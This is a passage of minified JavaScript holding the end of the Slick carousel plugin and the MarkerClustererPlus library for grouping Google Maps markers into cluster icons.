t=this;t.$slides=t.$slideTrack.children(t.options.slide).addClass("slick-slide"),t.slideCount=t.$slides.length,t.currentSlide>=t.slideCount&&0!==t.currentSlide&&(t.currentSlide=t.currentSlide-t.options.slidesToScroll),t.slideCount<=t.options.slidesToShow&&(t.currentSlide=0),t.registerBreakpoints(),t.setProps(),t.setupInfinite(),t.buildArrows(),t.updateArrows(),t.initArrowEvents(),t.buildDots(),t.updateDots(),t.initDotEvents(),t.cleanUpSlideEvents(),t.initSlideEvents(),t.checkResponsive(!1,!0),!0===t.options.focusOnSelect&&c(t.$slideTrack).children().on("click.slick",t.selectHandler),t.setSlideClasses("number"==typeof t.currentSlide?t.currentSlide:0),t.setPosition(),t.focusHandler(),t.paused=!t.options.autoplay,t.autoPlay(),t.$slider.trigger("reInit",[t])},a.prototype.resize=function(){var t=this;c(window).width()!==t.windowWidth&&(clearTimeout(t.windowDelay),t.windowDelay=window.setTimeout(function(){t.windowWidth=c(window).width(),t.checkResponsive(),t.unslicked||t.setPosition()},50))},a.prototype.removeSlide=a.prototype.slickRemove=function(t,e,n){var i=this;if(t="boolean"==typeof t?!0===(e=t)?0:i.slideCount-1:!0===e?--t:t,i.slideCount<1||t<0||t>i.slideCount-1)return!1;i.unload(),(!0===n?i.$slideTrack.children():i.$slideTrack.children(this.options.slide).eq(t)).remove(),i.$slides=i.$slideTrack.children(this.options.slide),i.$slideTrack.children(this.options.slide).detach(),i.$slideTrack.append(i.$slides),i.$slidesCache=i.$slides,i.reinit()},a.prototype.setCSS=function(t){var e,n,i=this,s={};!0===i.options.rtl&&(t=-t),e="left"==i.positionProp?Math.ceil(t)+"px":"0px",n="top"==i.positionProp?Math.ceil(t)+"px":"0px",s[i.positionProp]=t,!1!==i.transformsEnabled&&(!(s={})===i.cssTransitions?s[i.animType]="translate("+e+", "+n+")":s[i.animType]="translate3d("+e+", "+n+", 0px)"),i.$slideTrack.css(s)},a.prototype.setDimensions=function(){var t=this,e=(!1===t.options.vertical?!0===t.options.centerMode&&t.$list.css({padding:"0px "+t.options.centerPadding}):(t.$list.height(t.$slides.first().outerHeight(!0)*t.options.slidesToShow),!0===t.options.centerMode&&t.$list.css({padding:t.options.centerPadding+" 0px"})),t.listWidth=t.$list.width(),t.listHeight=t.$list.height(),!1===t.options.vertical&&!1===t.options.variableWidth?(t.slideWidth=Math.ceil(t.listWidth/t.options.slidesToShow),t.$slideTrack.width(Math.ceil(t.slideWidth*t.$slideTrack.children(".slick-slide").length))):!0===t.options.variableWidth?t.$slideTrack.width(5e3*t.slideCount):(t.slideWidth=Math.ceil(t.listWidth),t.$slideTrack.height(Math.ceil(t.$slides.first().outerHeight(!0)*t.$slideTrack.children(".slick-slide").length))),t.$slides.first().outerWidth(!0)-t.$slides.first().width());!1===t.options.variableWidth&&t.$slideTrack.children(".slick-slide").width(t.slideWidth-e)},a.prototype.setFade=function(){var n,i=this;i.$slides.each(function(t,e){n=i.slideWidth*t*-1,!0===i.options.rtl?c(e).css({position:"relative",right:n,top:0,zIndex:i.options.zIndex-2,opacity:0}):c(e).css({position:"relative",left:n,top:0,zIndex:i.options.zIndex-2,opacity:0})}),i.$slides.eq(i.currentSlide).css({zIndex:i.options.zIndex-1,opacity:1})},a.prototype.setHeight=function(){var t,e=this;1===e.options.slidesToShow&&!0===e.options.adaptiveHeight&&!1===e.options.vertical&&(t=e.$slides.eq(e.currentSlide).outerHeight(!0),e.$list.css("height",t))},a.prototype.setOption=a.prototype.slickSetOption=function(){var t,e,n,i,s,o=this,a=!1;if("object"===c.type(arguments[0])?(n=arguments[0],a=arguments[1],s="multiple"):"string"===c.type(arguments[0])&&(n=arguments[0],i=arguments[1],a=arguments[2],"responsive"===arguments[0]&&"array"===c.type(arguments[1])?s="responsive":void 0!==arguments[1]&&(s="single")),"single"===s)o.options[n]=i;else if("multiple"===s)c.each(n,function(t,e){o.options[t]=e});else if("responsive"===s)for(e in i)if("array"!==c.type(o.options.responsive))o.options.responsive=[i[e]];else{for(t=o.options.responsive.length-1;0<=t;)o.options.responsive[t].breakpoint===i[e].breakpoint&&o.options.responsive.splice(t,1),t--;o.options.responsive.push(i[e])}a&&(o.unload(),o.reinit())},a.prototype.setPosition=function(){var t=this;t.setDimensions(),t.setHeight(),!1===t.options.fade?t.setCSS(t.getLeft(t.currentSlide)):t.setFade(),t.$slider.trigger("setPosition",[t])},a.prototype.setProps=function(){var t=this,e=document.body.style;t.positionProp=!0===t.options.vertical?"top":"left","top"===t.positionProp?t.$slider.addClass("slick-vertical"):t.$slider.removeClass("slick-vertical"),void 0===e.WebkitTransition&&void 0===e.MozTransition&&void 0===e.msTransition||!0===t.options.useCSS&&(t.cssTransitions=!0),t.options.fade&&("number"==typeof t.options.zIndex?t.options.zIndex<3&&(t.options.zIndex=3):t.options.zIndex=t.defaults.zIndex),void 0!==e.OTransform&&(t.animType="OTransform",t.transformType="-o-transform",t.transitionType="OTransition",void 0===e.perspectiveProperty)&&void 0===e.webkitPerspective&&(t.animType=!1),void 0!==e.MozTransform&&(t.animType="MozTransform",t.transformType="-moz-transform",t.transitionType="MozTransition",void 0===e.perspectiveProperty)&&void 0===e.MozPerspective&&(t.animType=!1),void 0!==e.webkitTransform&&(t.animType="webkitTransform",t.transformType="-webkit-transform",t.transitionType="webkitTransition",void 0===e.perspectiveProperty)&&void 0===e.webkitPerspective&&(t.animType=!1),void 0!==e.msTransform&&(t.animType="msTransform",t.transformType="-ms-transform",t.transitionType="msTransition",void 0===e.msTransform)&&(t.animType=!1),void 0!==e.transform&&!1!==t.animType&&(t.animType="transform",t.transformType="transform",t.transitionType="transition"),t.transformsEnabled=t.options.useTransform&&null!==t.animType&&!1!==t.animType},a.prototype.setSlideClasses=function(t){var e,n,i=this,s=i.$slider.find(".slick-slide").removeClass("slick-active slick-center slick-current").attr("aria-hidden","true");i.$slides.eq(t).addClass("slick-current"),!0===i.options.centerMode?(n=Math.floor(i.options.slidesToShow/2),!0===i.options.infinite&&((n<=t&&t<=i.slideCount-1-n?i.$slides.slice(t-n,t+n+1):(e=i.options.slidesToShow+t,s.slice(e-n+1,e+n+2))).addClass("slick-active").attr("aria-hidden","false"),0===t?s.eq(s.length-1-i.options.slidesToShow).addClass("slick-center"):t===i.slideCount-1&&s.eq(i.options.slidesToShow).addClass("slick-center")),i.$slides.eq(t).addClass("slick-center")):(0<=t&&t<=i.slideCount-i.options.slidesToShow?i.$slides.slice(t,t+i.options.slidesToShow):s.length<=i.options.slidesToShow?s:(n=i.slideCount%i.options.slidesToShow,e=!0===i.options.infinite?i.options.slidesToShow+t:t,i.options.slidesToShow==i.options.slidesToScroll&&i.slideCount-t<i.options.slidesToShow?s.slice(e-(i.options.slidesToShow-n),e+n):s.slice(e,e+i.options.slidesToShow))).addClass("slick-active").attr("aria-hidden","false"),"ondemand"===i.options.lazyLoad&&i.lazyLoad()},a.prototype.setupInfinite=function(){var t,e,n,i=this;if(!0===i.options.fade&&(i.options.centerMode=!1),!0===i.options.infinite&&!1===i.options.fade&&(e=null,i.slideCount>i.options.slidesToShow)){for(n=!0===i.options.centerMode?i.options.slidesToShow+1:i.options.slidesToShow,t=i.slideCount;t>i.slideCount-n;--t)c(i.$slides[e=t-1]).clone(!0).attr("id","").attr("data-slick-index",e-i.slideCount).prependTo(i.$slideTrack).addClass("slick-cloned");for(t=0;t<n;t+=1)e=t,c(i.$slides[e]).clone(!0).attr("id","").attr("data-slick-index",e+i.slideCount).appendTo(i.$slideTrack).addClass("slick-cloned");i.$slideTrack.find(".slick-cloned").find("[id]").each(function(){c(this).attr("id","")})}},a.prototype.interrupt=function(t){t||this.autoPlay(),this.interrupted=t},a.prototype.selectHandler=function(t){var e=this,t=c(t.target).is(".slick-slide")?c(t.target):c(t.target).parents(".slick-slide"),t=(t=parseInt(t.attr("data-slick-index")))||0;e.slideCount<=e.options.slidesToShow?(e.setSlideClasses(t),e.asNavFor(t)):e.slideHandler(t)},a.prototype.slideHandler=function(t,e,n){var i,s,o,a=this;e=e||!1,!0===a.animating&&!0===a.options.waitForAnimate||!0===a.options.fade&&a.currentSlide===t||a.slideCount<=a.options.slidesToShow||(!1===e&&a.asNavFor(t),i=t,e=a.getLeft(i),o=a.getLeft(a.currentSlide),a.currentLeft=null===a.swipeLeft?o:a.swipeLeft,!1===a.options.infinite&&!1===a.options.centerMode&&(t<0||t>a.getDotCount()*a.options.slidesToScroll)||!1===a.options.infinite&&!0===a.options.centerMode&&(t<0||t>a.slideCount-a.options.slidesToScroll)?!1===a.options.fade&&(i=a.currentSlide,!0!==n?a.animateSlide(o,function(){a.postSlide(i)}):a.postSlide(i)):(a.options.autoplay&&clearInterval(a.autoPlayTimer),s=i<0?a.slideCount%a.options.slidesToScroll!=0?a.slideCount-a.slideCount%a.options.slidesToScroll:a.slideCount+i:i>=a.slideCount?a.slideCount%a.options.slidesToScroll!=0?0:i-a.slideCount:i,a.animating=!0,a.$slider.trigger("beforeChange",[a,a.currentSlide,s]),t=a.currentSlide,a.currentSlide=s,a.setSlideClasses(a.currentSlide),a.options.asNavFor&&(o=(o=a.getNavTarget()).slick("getSlick")).slideCount<=o.options.slidesToShow&&o.setSlideClasses(a.currentSlide),a.updateDots(),a.updateArrows(),!0===a.options.fade?(!0!==n?(a.fadeSlideOut(t),a.fadeSlide(s,function(){a.postSlide(s)})):a.postSlide(s),a.animateHeight()):!0!==n?a.animateSlide(e,function(){a.postSlide(s)}):a.postSlide(s)))},a.prototype.startLoad=function(){var t=this;!0===t.options.arrows&&t.slideCount>t.options.slidesToShow&&(t.$prevArrow.hide(),t.$nextArrow.hide()),!0===t.options.dots&&t.slideCount>t.options.slidesToShow&&t.$dots.hide(),t.$slider.addClass("slick-loading")},a.prototype.swipeDirection=function(){var t=this,e=t.touchObject.startX-t.touchObject.curX,n=t.touchObject.startY-t.touchObject.curY,n=Math.atan2(n,e),e=Math.round(180*n/Math.PI);return(e=e<0?360-Math.abs(e):e)<=45&&0<=e||e<=360&&315<=e?!1===t.options.rtl?"left":"right":135<=e&&e<=225?!1===t.options.rtl?"right":"left":!0===t.options.verticalSwiping?35<=e&&e<=135?"down":"up":"vertical"},a.prototype.swipeEnd=function(t){var e,n,i=this;if(i.dragging=!1,i.interrupted=!1,i.shouldClick=!(10<i.touchObject.swipeLength),void 0===i.touchObject.curX)return!1;if(!0===i.touchObject.edgeHit&&i.$slider.trigger("edge",[i,i.swipeDirection()]),i.touchObject.swipeLength>=i.touchObject.minSwipe){switch(n=i.swipeDirection()){case"left":case"down":e=i.options.swipeToSlide?i.checkNavigable(i.currentSlide+i.getSlideCount()):i.currentSlide+i.getSlideCount(),i.currentDirection=0;break;case"right":case"up":e=i.options.swipeToSlide?i.checkNavigable(i.currentSlide-i.getSlideCount()):i.currentSlide-i.getSlideCount(),i.currentDirection=1}"vertical"!=n&&(i.slideHandler(e),i.touchObject={},i.$slider.trigger("swipe",[i,n]))}else i.touchObject.startX!==i.touchObject.curX&&(i.slideHandler(i.currentSlide),i.touchObject={})},a.prototype.swipeHandler=function(t){var e=this;if(!(!1===e.options.swipe||"ontouchend"in document&&!1===e.options.swipe||!1===e.options.draggable&&-1!==t.type.indexOf("mouse")))switch(e.touchObject.fingerCount=t.originalEvent&&void 0!==t.originalEvent.touches?t.originalEvent.touches.length:1,e.touchObject.minSwipe=e.listWidth/e.options.touchThreshold,!0===e.options.verticalSwiping&&(e.touchObject.minSwipe=e.listHeight/e.options.touchThreshold),t.data.action){case"start":e.swipeStart(t);break;case"move":e.swipeMove(t);break;case"end":e.swipeEnd(t)}},a.prototype.swipeMove=function(t){var e,n,i=this,s=void 0!==t.originalEvent?t.originalEvent.touches:null;return!(!i.dragging||s&&1!==s.length)&&(e=i.getLeft(i.currentSlide),i.touchObject.curX=void 0!==s?s[0].pageX:t.clientX,i.touchObject.curY=void 0!==s?s[0].pageY:t.clientY,i.touchObject.swipeLength=Math.round(Math.sqrt(Math.pow(i.touchObject.curX-i.touchObject.startX,2))),!0===i.options.verticalSwiping&&(i.touchObject.swipeLength=Math.round(Math.sqrt(Math.pow(i.touchObject.curY-i.touchObject.startY,2)))),"vertical"!==(s=i.swipeDirection())?(void 0!==t.originalEvent&&4<i.touchObject.swipeLength&&t.preventDefault(),t=(!1===i.options.rtl?1:-1)*(i.touchObject.curX>i.touchObject.startX?1:-1),!0===i.options.verticalSwiping&&(t=i.touchObject.curY>i.touchObject.startY?1:-1),n=i.touchObject.swipeLength,(i.touchObject.edgeHit=!1)===i.options.infinite&&(0===i.currentSlide&&"right"===s||i.currentSlide>=i.getDotCount()&&"left"===s)&&(n=i.touchObject.swipeLength*i.options.edgeFriction,i.touchObject.edgeHit=!0),!1===i.options.vertical?i.swipeLeft=e+n*t:i.swipeLeft=e+n*(i.$list.height()/i.listWidth)*t,!0===i.options.verticalSwiping&&(i.swipeLeft=e+n*t),!0!==i.options.fade&&!1!==i.options.touchMove&&(!0===i.animating?(i.swipeLeft=null,!1):void i.setCSS(i.swipeLeft))):void 0)},a.prototype.swipeStart=function(t){var e,n=this;if(n.interrupted=!0,1!==n.touchObject.fingerCount||n.slideCount<=n.options.slidesToShow)return!(n.touchObject={});void 0!==t.originalEvent&&void 0!==t.originalEvent.touches&&(e=t.originalEvent.touches[0]),n.touchObject.startX=n.touchObject.curX=void 0!==e?e.pageX:t.clientX,n.touchObject.startY=n.touchObject.curY=void 0!==e?e.pageY:t.clientY,n.dragging=!0},a.prototype.unfilterSlides=a.prototype.slickUnfilter=function(){var t=this;null!==t.$slidesCache&&(t.unload(),t.$slideTrack.children(this.options.slide).detach(),t.$slidesCache.appendTo(t.$slideTrack),t.reinit())},a.prototype.unload=function(){var t=this;c(".slick-cloned",t.$slider).remove(),t.$dots&&t.$dots.remove(),t.$prevArrow&&t.htmlExpr.test(t.options.prevArrow)&&t.$prevArrow.remove(),t.$nextArrow&&t.htmlExpr.test(t.options.nextArrow)&&t.$nextArrow.remove(),t.$slides.removeClass("slick-slide slick-active slick-visible slick-current").attr("aria-hidden","true").css("width","")},a.prototype.unslick=function(t){this.$slider.trigger("unslick",[this,t]),this.destroy()},a.prototype.updateArrows=function(){var t=this;Math.floor(t.options.slidesToShow/2);!0===t.options.arrows&&t.slideCount>t.options.slidesToShow&&!t.options.infinite&&(t.$prevArrow.removeClass("slick-disabled").attr("aria-disabled","false"),t.$nextArrow.removeClass("slick-disabled").attr("aria-disabled","false"),0===t.currentSlide?(t.$prevArrow.addClass("slick-disabled").attr("aria-disabled","true"),t.$nextArrow.removeClass("slick-disabled").attr("aria-disabled","false")):(t.currentSlide>=t.slideCount-t.options.slidesToShow&&!1===t.options.centerMode||t.currentSlide>=t.slideCount-1&&!0===t.options.centerMode)&&(t.$nextArrow.addClass("slick-disabled").attr("aria-disabled","true"),t.$prevArrow.removeClass("slick-disabled").attr("aria-disabled","false")))},a.prototype.updateDots=function(){var t=this;null!==t.$dots&&(t.$dots.find("li").removeClass("slick-active").attr("aria-hidden","true"),t.$dots.find("li").eq(Math.floor(t.currentSlide/t.options.slidesToScroll)).addClass("slick-active").attr("aria-hidden","false"))},a.prototype.visibility=function(){this.options.autoplay&&(document[this.hidden]?this.interrupted=!0:this.interrupted=!1)},c.fn.slick=function(){for(var t,e=this,n=arguments[0],i=Array.prototype.slice.call(arguments,1),s=e.length,o=0;o<s;o++)if("object"==typeof n||void 0===n?e[o].slick=new a(e[o],n):t=e[o].slick[n].apply(e[o].slick,i),void 0!==t)return t;return e}}),ClusterIcon.prototype.onAdd=function(){var s,o,a=this;this.div_=document.createElement("div"),this.div_.className=this.className_,this.visible_&&this.show(),this.getPanes().overlayMouseTarget.appendChild(this.div_),this.boundsChangedListener_=google.maps.event.addListener(this.getMap(),"bounds_changed",function(){o=s}),this.div_.addEventListener("mousedown",function(){o=!(s=!0)}),this.div_.addEventListener("click",function(t){var e,n,i;s=!1,o||(i=a.cluster_.getMarkerClusterer(),google.maps.event.trigger(i,"click",a.cluster_),google.maps.event.trigger(i,"clusterclick",a.cluster_),i.getZoomOnClick()&&(n=i.getMaxZoom(),e=a.cluster_.getBounds(),i.getMap().fitBounds(e),setTimeout(function(){i.getMap().fitBounds(e),null!==n&&i.getMap().getZoom()>n&&i.getMap().setZoom(n+1)},100)),t.cancelBubble=!0,t.stopPropagation&&t.stopPropagation())}),this.div_.addEventListener("mouseover",function(){var t=a.cluster_.getMarkerClusterer();google.maps.event.trigger(t,"mouseover",a.cluster_)}),this.div_.addEventListener("mouseout",function(){var t=a.cluster_.getMarkerClusterer();google.maps.event.trigger(t,"mouseout",a.cluster_)})},ClusterIcon.prototype.onRemove=function(){this.div_&&this.div_.parentNode&&(this.hide(),google.maps.event.removeListener(this.boundsChangedListener_),google.maps.event.clearInstanceListeners(this.div_),this.div_.parentNode.removeChild(this.div_),this.div_=null)},ClusterIcon.prototype.draw=function(){var t;this.visible_&&(t=this.getPosFromLatLng_(this.center_),this.div_.style.top=t.y+"px",this.div_.style.left=t.x+"px")},ClusterIcon.prototype.hide=function(){this.div_&&(this.div_.style.display="none"),this.visible_=!1},ClusterIcon.prototype.show=function(){var t,e,n,i;this.div_&&(t="",n=this.backgroundPosition_.split(" "),e=parseInt(n[0].replace(/^\s+|\s+$/g,""),10),n=parseInt(n[1].replace(/^\s+|\s+$/g,""),10),i=this.getPosFromLatLng_(this.center_),this.div_.style.cssText=this.createCss(i),t="<img src='"+this.url_+"' style='position: absolute; top: "+n+"px; left: "+e+"px; ",this.cluster_.getMarkerClusterer().enableRetinaIcons_||(t+="clip: rect("+-1*n+"px, "+(-1*e+this.width_)+"px, "+(-1*n+this.height_)+"px, "+-1*e+"px);"),this.div_.innerHTML=(t+="'>")+"<div style='position: absolute;top: "+this.anchorText_[0]+"px;left: "+this.anchorText_[1]+"px;color: "+this.textColor_+";font-size: "+this.textSize_+"px;font-family: "+this.fontFamily_+";font-weight: "+this.fontWeight_+";font-style: "+this.fontStyle_+";text-decoration: "+this.textDecoration_+";text-align: center;width: "+this.width_+"px;line-height:"+this.height_+"px;'>"+this.sums_.text+"</div>",void 0===this.sums_.title||""===this.sums_.title?this.div_.title=this.cluster_.getMarkerClusterer().getTitle():this.div_.title=this.sums_.title,this.div_.style.display=""),this.visible_=!0},ClusterIcon.prototype.useStyle=function(t){this.sums_=t;t=Math.max(0,t.index-1),t=Math.min(this.styles_.length-1,t),t=this.styles_[t];this.url_=t.url,this.height_=t.height,this.width_=t.width,this.anchorText_=t.anchorText||[0,0],this.anchorIcon_=t.anchorIcon||[parseInt(this.height_/2,10),parseInt(this.width_/2,10)],this.textColor_=t.textColor||"black",this.textSize_=t.textSize||11,this.textDecoration_=t.textDecoration||"none",this.fontWeight_=t.fontWeight||"bold",this.fontStyle_=t.fontStyle||"normal",this.fontFamily_=t.fontFamily||"Arial,sans-serif",this.backgroundPosition_=t.backgroundPosition||"0 0"},ClusterIcon.prototype.setCenter=function(t){this.center_=t},ClusterIcon.prototype.createCss=function(t){var e=[];return e.push("cursor: pointer;"),e.push("position: absolute; top: "+t.y+"px; left: "+t.x+"px;"),e.push("width: "+this.width_+"px; height: "+this.height_+"px;"),e.join("")},ClusterIcon.prototype.getPosFromLatLng_=function(t){t=this.getProjection().fromLatLngToDivPixel(t);return t.x-=this.anchorIcon_[1],t.y-=this.anchorIcon_[0],t.x=parseInt(t.x,10),t.y=parseInt(t.y,10),t},Cluster.prototype.getSize=function(){return this.markers_.length},Cluster.prototype.getMarkers=function(){return this.markers_},Cluster.prototype.getCenter=function(){return this.center_},Cluster.prototype.getMap=function(){return this.map_},Cluster.prototype.getMarkerClusterer=function(){return this.markerClusterer_},Cluster.prototype.getBounds=function(){for(var t=new google.maps.LatLngBounds(this.center_,this.center_),e=this.getMarkers(),n=0;n<e.length;n++)t.extend(e[n].getPosition());return t},Cluster.prototype.remove=function(){this.clusterIcon_.setMap(null),this.markers_=[],delete this.markers_},Cluster.prototype.addMarker=function(t){var e,n,i,s;if(this.isMarkerAlreadyAdded_(t))return!1;if(this.center_?this.averageCenter_&&(s=this.markers_.length+1,i=(this.center_.lat()*(s-1)+t.getPosition().lat())/s,s=(this.center_.lng()*(s-1)+t.getPosition().lng())/s,this.center_=new google.maps.LatLng(i,s),this.calculateBounds_()):(this.center_=t.getPosition(),this.calculateBounds_()),t.isAdded=!0,this.markers_.push(t),n=this.markers_.length,null!==(i=this.markerClusterer_.getMaxZoom())&&this.map_.getZoom()>i)t.getMap()!==this.map_&&t.setMap(this.map_);else if(n<this.minClusterSize_)t.getMap()!==this.map_&&t.setMap(this.map_);else if(n===this.minClusterSize_)for(e=0;e<n;e++)this.markers_[e].setMap(null);else t.setMap(null);return this.updateIcon_(),!0},Cluster.prototype.isMarkerInClusterBounds=function(t){return this.bounds_.contains(t.getPosition())},Cluster.prototype.calculateBounds_=function(){var t=new google.maps.LatLngBounds(this.center_,this.center_);this.bounds_=this.markerClusterer_.getExtendedBounds(t)},Cluster.prototype.updateIcon_=function(){var t=this.markers_.length,e=this.markerClusterer_.getMaxZoom();null!==e&&this.map_.getZoom()>e||t<this.minClusterSize_?this.clusterIcon_.hide():(e=this.markerClusterer_.getStyles().length,t=this.markerClusterer_.getCalculator()(this.markers_,e),this.clusterIcon_.setCenter(this.center_),this.clusterIcon_.useStyle(t),this.clusterIcon_.show())},Cluster.prototype.isMarkerAlreadyAdded_=function(t){var e;if(this.markers_.indexOf)return-1!==this.markers_.indexOf(t);for(e=0;e<this.markers_.length;e++)if(t===this.markers_[e])return!0;return!1},MarkerClusterer.prototype.onAdd=function(){var t=this;this.activeMap_=this.getMap(),this.ready_=!0,this.repaint(),this.listeners_=[google.maps.event.addListener(this.getMap(),"zoom_changed",function(){t.resetViewport_(!1),this.getZoom()!==(this.get("minZoom")||0)&&this.getZoom()!==this.get("maxZoom")||google.maps.event.trigger(this,"idle")}),google.maps.event.addListener(this.getMap(),"idle",function(){t.redraw_()})]},MarkerClusterer.prototype.onRemove=function(){for(var t=0;t<this.markers_.length;t++)this.markers_[t].getMap()!==this.activeMap_&&this.markers_[t].setMap(this.activeMap_);for(t=0;t<this.clusters_.length;t++)this.clusters_[t].remove();for(this.clusters_=[],t=0;t<this.listeners_.length;t++)google.maps.event.removeListener(this.listeners_[t]);this.listeners_=[],this.activeMap_=null,this.ready_=!1},MarkerClusterer.prototype.draw=function(){},MarkerClusterer.prototype.setupStyles_=function(){var t,e;if(!(0<this.styles_.length))for(t=0;t<this.imageSizes_.length;t++)e=this.imageSizes_[t],this.styles_.push({url:this.imagePath_+(t+1)+"."+this.imageExtension_,height:e,width:e})},MarkerClusterer.prototype.fitMapToMarkers=function(){for(var t=this.getMarkers(),e=new google.maps.LatLngBounds,n=0;n<t.length;n++)e.extend(t[n].getPosition());this.getMap().fitBounds(e)},MarkerClusterer.prototype.getGridSize=function(){return this.gridSize_},MarkerClusterer.prototype.setGridSize=function(t){this.gridSize_=t},MarkerClusterer.prototype.getMinimumClusterSize=function(){return this.minClusterSize_},MarkerClusterer.prototype.setMinimumClusterSize=function(t){this.minClusterSize_=t},MarkerClusterer.prototype.getMaxZoom=function(){return this.maxZoom_},MarkerClusterer.prototype.setMaxZoom=function(t){this.maxZoom_=t},MarkerClusterer.prototype.getStyles=function(){return this.styles_},MarkerClusterer.prototype.setStyles=function(t){this.styles_=t},MarkerClusterer.prototype.getTitle=function(){return this.title_},MarkerClusterer.prototype.setTitle=function(t){this.title_=t},MarkerClusterer.prototype.getZoomOnClick=function(){return this.zoomOnClick_},MarkerClusterer.prototype.setZoomOnClick=function(t){this.zoomOnClick_=t},MarkerClusterer.prototype.getAverageCenter=function(){return this.averageCenter_},MarkerClusterer.prototype.setAverageCenter=function(t){this.averageCenter_=t},MarkerClusterer.prototype.getIgnoreHidden=function(){return this.ignoreHidden_},MarkerClusterer.prototype.setIgnoreHidden=function(t){this.ignoreHidden_=t},MarkerClusterer.prototype.getEnableRetinaIcons=function(){return this.enableRetinaIcons_},MarkerClusterer.prototype.setEnableRetinaIcons=function(t){this.enableRetinaIcons_=t},MarkerClusterer.prototype.getImageExtension=function(){return this.imageExtension_},MarkerClusterer.prototype.setImageExtension=function(t){this.imageExtension_=t},MarkerClusterer.prototype.getImagePath=function(){return this.imagePath_},MarkerClusterer.prototype.setImagePath=function(t){this.imagePath_=t},MarkerClusterer.prototype.getImageSizes=function(){return this.imageSizes_},MarkerClusterer.prototype.setImageSizes=function(t){this.imageSizes_=t},MarkerClusterer.prototype.getCalculator=function(){return this.calculator_},MarkerClusterer.prototype.setCalculator=function(t){this.calculator_=t},MarkerClusterer.prototype.getBatchSizeIE=function(){return this.batchSizeIE_},MarkerClusterer.prototype.setBatchSizeIE=function(t){this.batchSizeIE_=t},MarkerClusterer.prototype.getClusterClass=function(){return this.clusterClass_},MarkerClusterer.prototype.setClusterClass=function(t){this.clusterClass_=t},MarkerClusterer.prototype.getMarkers=function(){return this.markers_},MarkerClusterer.prototype.getTotalMarkers=function(){return this.markers_.length},MarkerClusterer.prototype.getClusters=function(){return this.clusters_},MarkerClusterer.prototype.getTotalClusters=function(){return this.clusters_.length},MarkerClusterer.prototype.addMarker=function(t,e){this.pushMarkerTo_(t),e||this.redraw_()},MarkerClusterer.prototype.addMarkers=function(t,e){for(var n in t)t.hasOwnProperty(n)&&this.pushMarkerTo_(t[n]);e||this.redraw_()},MarkerClusterer.prototype.pushMarkerTo_=function(t){var e;t.getDraggable()&&(e=this,google.maps.event.addListener(t,"dragend",function(){e.ready_&&(this.isAdded=!1,e.repaint())})),t.isAdded=!1,this.markers_.push(t)},MarkerClusterer.prototype.removeMarker=function(t,e){t=this.removeMarker_(t);return!e&&t&&this.repaint(),t},MarkerClusterer.prototype.removeMarkers=function(t,e){for(var n,i=!1,s=0;s<t.length;s++)n=this.removeMarker_(t[s]),i=i||n;return!e&&i&&this.repaint(),i},MarkerClusterer.prototype.removeMarker_=function(t){var e,n=-1;if(this.markers_.indexOf)n=this.markers_.indexOf(t);else for(e=0;e<this.markers_.length;e++)if(t===this.markers_[e]){n=e;break}return-1!==n&&(t.setMap(null),this.markers_.splice(n,1),!0)},MarkerClusterer.prototype.clearMarkers=function(){this.resetViewport_(!0),this.markers_=[]},MarkerClusterer.prototype.repaint=function(){var e=this.clusters_.slice();this.clusters_=[],this.resetViewport_(!1),this.redraw_(),setTimeout(function(){for(var t=0;t<e.length;t++)e[t].remove()},0)},MarkerClusterer.prototype.getExtendedBounds=function(t){var e=this.getProjection(),n=new google.maps.LatLng(t.getNorthEast().lat(),t.getNorthEast().lng()),i=new google.maps.LatLng(t.getSouthWest().lat(),t.getSouthWest().lng()),n=e.fromLatLngToDivPixel(n),i=(n.x+=this.gridSize_,n.y-=this.gridSize_,e.fromLatLngToDivPixel(i)),n=(i.x-=this.gridSize_,i.y+=this.gridSize_,e.fromDivPixelToLatLng(n)),e=e.fromDivPixelToLatLng(i);return t.extend(n),t.extend(e),t},MarkerClusterer.prototype.redraw_=function(){this.createClusters_(0)},MarkerClusterer.prototype.resetViewport_=function(t){for(var e,n=0;n<this.clusters_.length;n++)this.clusters_[n].remove();for(this.clusters_=[],n=0;n<this.markers_.length;n++)(e=this.markers_[n]).isAdded=!1,t&&e.setMap(null)},MarkerClusterer.prototype.distanceBetweenPoints_=function(t,e){var n=(e.lat()-t.lat())*Math.PI/180,i=(e.lng()-t.lng())*Math.PI/180,n=Math.sin(n/2)*Math.sin(n/2)+Math.cos(t.lat()*Math.PI/180)*Math.cos(e.lat()*Math.PI/180)*Math.sin(i/2)*Math.sin(i/2);return 6371*(2*Math.atan2(Math.sqrt(n),Math.sqrt(1-n)))},MarkerClusterer.prototype.isMarkerInBounds_=function(t,e){return e.contains(t.getPosition())},MarkerClusterer.prototype.addToClosestCluster_=function(t){for(var e,n,i=4e4,s=null,o=0;o<this.clusters_.length;o++)(n=(e=this.clusters_[o]).getCenter())&&(n=this.distanceBetweenPoints_(n,t.getPosition()))<i&&(i=n,s=e);s&&s.isMarkerInClusterBounds(t)?s.addMarker(t):((e=new Cluster(this)).addMarker(t),this.clusters_.push(e))},MarkerClusterer.prototype.createClusters_=function(t){var e,n=this;if(this.ready_){0===t&&(google.maps.event.trigger(this,"clusteringbegin",this),void 0!==this.timerRefStatic)&&(clearTimeout(this.timerRefStatic),delete this.timerRefStatic);for(var i=3<this.getMap().getZoom()?new google.maps.LatLngBounds(this.getMap().getBounds().getSouthWest(),this.getMap().getBounds().getNorthEast()):new google.maps.LatLngBounds(new google.maps.LatLng(85.02070771743472,-178.48388434375),new google.maps.LatLng(-85.08136444384544,178.00048865625)),s=this.getExtendedBounds(i),o=Math.min(t+this.batchSize_,this.markers_.length),a=t;a<o;a++)!(e=this.markers_[a]).isAdded&&this.isMarkerInBounds_(e,s)&&(!this.ignoreHidden_||this.ignoreHidden_&&e.getVisible())&&this.addToClosestCluster_(e);o<this.markers_.length?this.timerRefStatic=setTimeout(function(){n.createClusters_(o)},0):(delete this.timerRefStatic,google.maps.event.trigger(this,"clusteringend",this))}},MarkerClusterer.prototype.extend=function(t,e){return function(t){for(var e in t.prototype)this.prototype[e]=t.prototype[e];return this}.apply(t,[e])},MarkerClusterer.CALCULATOR=function(t,e){for(var n=0,t=t.length.toString(),i=t;0!==i;)i=parseInt(i/10,10),n++;return{text:t,index:n=Math.min(n,e),title:""}},MarkerClusterer.BATCH_SIZE=2e3,MarkerClusterer.BATCH_SIZE_IE=500,MarkerClusterer.IMAGE_PATH="http://google-maps-utility-library-v3.googlecode.com/svn/trunk/markerclustererplus/images/m",MarkerClusterer.IMAGE_EXTENSION="png",MarkerClusterer.IMAGE_SIZES=[53,56,66,78,90],!function(a){function 